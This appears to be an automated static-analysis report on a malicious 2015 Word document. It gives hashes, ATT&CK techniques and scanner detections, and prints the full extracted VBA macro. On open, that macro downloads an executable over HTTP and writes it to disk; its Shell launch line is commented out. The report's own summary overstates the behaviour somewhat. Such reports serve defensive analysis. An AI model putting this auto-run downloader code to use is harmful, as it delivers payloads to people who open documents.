Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ba69be86d43f76c0…

MALICIOUS

Office (OLE)

33.0 KB Created: 2015-08-01 21:58:00 Authoring application: Microsoft Office Word First seen: 2015-09-21
MD5: 3c3f48292c91a6e93b86016363be7f80 SHA-1: 4b90579abf6bed8e4b5ea7e2449b5684ba182760 SHA-256: ba69be86d43f76c030a9fffdfd25850ce3c3142299a006c0daa027e2272b5e3a
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that execute upon opening the document. The AutoOpen macro attempts to download a file from 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', saves it as 'sample.txt', renames it to 'sample.exe', and then attempts to execute it. This indicates a dropper functionality, aiming to download and run a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    'Shell "sample.exe", vbMaximizedFocus
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
      BinaryGetURL = Http.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set BinaryStream = CreateObject("ADODB.Stream")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
    • http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe$Referenced by macro
    • http://the.earth.li/~sgtatham/putty/latest/x86/putty.exeReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1755 bytes
SHA-256: 7c81154034c4e754ec1f0361653fea5b7052f1287db86dc9b3208274c3f68465
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

For j = 1 To ActiveDocument.Paragraphs.Count
    sPar = ActiveDocument.Paragraphs(j).Range.Text
    sPar = ChangeTextCharset(sPar, "utf-8", "windows-1251")
    ActiveDocument.Paragraphs(j).Range.Text = sPar
Next j

SaveBinaData "sample.txt", BinaryGetURL("http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe")
  
FileCopy "sample.txt", "sample.exe"

'Shell "sample.exe", vbMaximizedFocus

End Sub


Function SaveBinaryData(FileName, ByteArray)
  Const adTypeBinary = 1
  Const adSaveCreateOverWrite = 2
  
  Dim BinaryStream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeBinary
  BinaryStream.Open
  BinaryStream.Write ByteArray
  BinaryStream.SaveToFile FileName, adSaveCreateOverWrite
End Function


Function BinaryGetURL(URL)
  Dim Http
  Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
  
  Http.Open "GET", URL, False
  Http.Send
  BinaryGetURL = Http.ResponseBody
End Function


Function ChangeTextCharset(ByVal txt$, ByVal DestCharset$, Optional ByVal SourceCharset$) As String
    On Error Resume Next: Err.Clear
    With CreateObject("ADODB.Stream")
        .Type = 2: .Mode = 3
        If Len(SourceCharset$) Then .Charset = SourceCharset$
        .Open
        .WriteText txt$
        .Position = 0
        .Charset = DestCharset$
        ChangeTextCharset = .ReadText
        .Close
    End With
End Function